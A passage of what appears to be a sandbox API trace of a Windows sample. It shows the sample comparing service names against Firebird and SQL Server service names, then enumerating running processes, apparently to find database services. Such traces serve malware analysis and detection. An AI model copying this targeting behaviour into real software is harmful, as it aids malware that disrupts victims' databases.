lstrlenW (lpString="PcaSvc") returned 6 [0220.473] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0220.473] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0220.473] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0220.473] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0220.473] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0220.473] lstrlenW (lpString="PlugPlay") returned 8 [0220.473] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0220.473] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0220.473] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0220.474] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0220.474] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0220.474] lstrlenW (lpString="Power") returned 5 [0220.474] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0220.474] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0220.474] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0220.474] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0220.474] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0220.474] lstrlenW (lpString="ProfSvc") returned 7 [0220.474] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0220.474] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0220.474] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0220.474] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0220.474] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0220.474] lstrlenW (lpString="RpcEptMapper") returned 12 [0220.474] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0220.474] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0220.474] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0220.474] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0220.474] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0220.474] lstrlenW (lpString="RpcSs") returned 5 [0220.474] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0220.474] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0220.474] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0220.474] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0220.474] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0220.474] lstrlenW (lpString="SamSs") returned 5 [0220.474] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0220.474] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0220.474] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0220.474] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0220.474] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0220.474] lstrlenW (lpString="Schedule") returned 8 [0220.474] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0220.474] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0220.474] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0220.474] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0220.474] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0220.475] lstrlenW (lpString="SecurityHealthService") returned 21 [0220.475] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0220.475] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0220.475] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0220.475] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0220.475] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0220.475] lstrlenW (lpString="SENS") returned 4 [0220.475] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0220.475] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0220.475] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0220.475] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0220.475] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0220.475] lstrlenW (lpString="ShellHWDetection") returned 16 [0220.475] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0220.475] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0220.475] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0220.475] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0220.475] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0220.475] lstrlenW (lpString="Spooler") returned 7 [0220.475] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0220.475] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0220.475] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0220.475] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0220.475] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0220.475] lstrlenW (lpString="SSDPSRV") returned 7 [0220.475] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0220.475] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0220.475] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0220.475] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0220.475] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0220.475] lstrlenW (lpString="StateRepository") returned 15 [0220.475] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0220.475] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0220.475] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0220.475] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0220.475] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0220.475] lstrlenW (lpString="SysMain") returned 7 [0220.475] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0220.476] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0220.476] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0220.476] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0220.476] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x802a50 | out: hHeap=0x790000) returned 1 [0220.476] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x300 [0220.673] Process32FirstW (in: hSnapshot=0x300, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0220.673] Process32NextW (in: hSnapshot=0x300, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6b, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0220.715] lstrlenW (lpString="System") returned 6 [0220.715] Process32NextW (in: hSnapshot=0x300, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0220.716] lstrlenW (lpString="smss.exe") returned 8 [0220.716] Process32NextW (in: hSnapshot=0x300, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0220.717] lstrlenW (lpString="csrss.exe") returned 9 [0220.717] Process32NextW (in: hSnapshot=0x300, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0220.718] lstrlenW (lpString="wininit.exe") returned 11 [0220.718] Process32NextW (in: hSnapshot=0x300, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0220.719] lstrlenW (lpString="csrss.exe") returned 9 [0220.719] Process32NextW (in: hSnapshot=0x300, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0220.720] lstrlenW (lpString="winlogon.exe") returned 12 [0220.720] Process32NextW (in: hSnapshot=0x300, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0220.720] lstrlenW (lpString="services.exe") returned 12 [0220.720] Process32NextW (in: hSnapshot=0x300, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0220.721] lstrlenW (lpString="lsass.exe") returned 9 [0220.722] Process32NextW (in: hSnapshot=0x300, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0220.722] lstrlenW (lpString="svchost.exe") returned 11 [0220.722] Process32NextW (in: hSnapshot=0x300, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0220.723] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0220.723] Process32NextW (in: hSnapshot=0x300, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0220.724] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0220.724] Process32NextW (in: hSnapshot=0x300, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0220.725] lstrlenW (lpString="svchost.exe") returned 11 [0220.725] Process32NextW (in: hSnapshot=0x300, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0220.726] lstrlenW (lpString="dwm.exe") returned 7 [0220.726] Process32NextW (in: hSnapshot=0x300, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x57, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0220.727] lstrlenW (lpString="svchost.exe") returned 11 [0220.727] Process32NextW (in: hSnapshot=0x300, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0220.728] lstrlenW (lpString="svchost.exe") returned 11 [0220.728] Process32NextW (in: hSnapshot=0x300, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0220.734] lstrlenW (lpString="svchost.exe") returned 11 [0220.734] Process32NextW (in: hSnapshot=0x300, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0220.735] lstrlenW (lpString="svchost.exe") returned 11 [0220.735] Process32NextW (in: hSnapshot=0x300, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0220.736] lstrlenW (lpString="svchost.exe") returned 11 [0220.736] Process32NextW (in: hSnapshot=0x300, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0220.737] lstrlenW (lpString="svchost.exe") returned 11 [0220.737] Process32NextW (in: hSnapshot=0x300, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0220.738] lstrlenW (lpString="svchost.exe") returned 11 [0220.738] Process32NextW (in: hSnapshot=0x300, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0220.739] lstrlenW (lpString="svchost.exe") returned 11 [0220.739] Process32NextW (in: hSnapshot=0x300, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0220.740] lstrlenW (lpString="svchost.exe") returned 11 [0220.740] Process32NextW (in: hSnapshot=0x300, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0220.740] lstrlenW (lpString="spoolsv.exe") returned 11 [0220.741] Process32NextW (in: hSnapshot=0x300, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0220.741] lstrlenW (lpString="svchost.exe") returned 11 [0220.741] Process32NextW (in: hSnapshot=0x300, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0220.742] lstrlenW (lpString="svchost.exe") returned 11 [0220.742] Process32NextW (in: hSnapshot=0x300, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0220.743] lstrlenW (lpString="audiodg.exe") returned 11 [0220.743] Process32NextW (in: hSnapshot=0x300, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0220.744] lstrlenW (lpString="sihost.exe") returned 10 [0220.745] Process32NextW (in: hSnapshot=0x300, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0220.746] lstrlenW (lpString="svchost.exe") returned 11 [0220.746] Process32NextW (in: hSnapshot=0x300, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0220.746] lstrlenW (lpString="taskhostw.exe") returned 13 [0220.746] Process32NextW (in: hSnapshot=0x300, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0220.747] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0220.748] Process32NextW (in: hSnapshot=0x300, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0220.748] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0220.748] Process32NextW (in: hSnapshot=0x300, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x41, th32ParentProcessID=0x834, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0220.749] lstrlenW (lpString="explorer.exe") returned 12 [0220.749] Process32NextW (in: hSnapshot=0x300, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0220.750] lstrlenW (lpString="Memory Compression") returned 18 [0220.750] Process32NextW (in: hSnapshot=0x300, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0220.751] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0220.751] Process32NextW (in: hSnapshot=0x300, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0220.758] lstrlenW (lpString="SearchUI.exe") returned 12 [0220.758] Process32NextW (in: hSnapshot=0x300, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0220.759] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0220.759] Process32NextW (in: hSnapshot=0x300, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0220.760] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0220.760] Process32NextW (in: hSnapshot=0x300, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="entering.exe")) returned 1 [0220.761] lstrlenW (lpString="entering.exe") returned 12 [0220.761] Process32NextW (in: hSnapshot=0x300, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="literally.exe")) returned 1 [0220.762] lstrlenW (lpString="literally.exe") returned 13 [0220.762] Process32NextW (in: hSnapshot=0x300, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="prep.exe")) returned 1 [0220.763] lstrlenW (lpString="prep.exe") returned 8 [0220.763] Process32NextW (in: hSnapshot=0x300, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x37c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="homeless.exe")) returned 1 [0220.764] lstrlenW (lpString="homeless.exe") returned 12 [0220.764] Process32NextW (in: hSnapshot=0x300, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="tips.exe")) returned 1 [0220.764] lstrlenW (lpString="tips.exe") returned 8 [0220.765] Process32NextW (in: hSnapshot=0x300, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="rhode_cow.exe")) returned 1 [0220.765] lstrlenW (lpString="rhode_cow.exe") returned 13 [0220.765] Process32NextW (in: hSnapshot=0x300, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="discount.exe")) returned 1 [0220.766] lstrlenW (lpString="discount.exe") returned 12 [0220.766] Process32NextW (in: hSnapshot=0x300, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="littleclosest.exe")) returned 1 [0220.767] lstrlenW (lpString="littleclosest.exe") returned 17 [0220.767] Process32NextW (in: hSnapshot=0x300, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="compact.exe")) returned 1 [0220.768] lstrlenW (lpString="compact.exe") returned 11 [0220.768] Process32NextW (in: hSnapshot=0x300, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="transmission-inclusion.exe")) returned 1 [0220.769] lstrlenW (lpString="transmission-inclusion.exe") returned 26 [0220.769] Process32NextW (in: hSnapshot=0x300, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="mcdonald-drugs-employers.exe")) returned 1 [0220.770] lstrlenW (lpString="mcdonald-drugs-employers.exe") returned 28 [0220.770] Process32NextW (in: hSnapshot=0x300, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="harris promoting wow.exe")) returned 1 [0220.771] lstrlenW (lpString="harris promoting wow.exe") returned 24 [0220.771] Process32NextW (in: hSnapshot=0x300, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="vincentkills.exe")) returned 1 [0220.772] lstrlenW (lpString="vincentkills.exe") returned 16 [0220.772] Process32NextW (in: hSnapshot=0x300, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="armstrong.exe")) returned 1 [0220.772] lstrlenW (lpString="armstrong.exe") returned 13 [0220.772] Process32NextW (in: 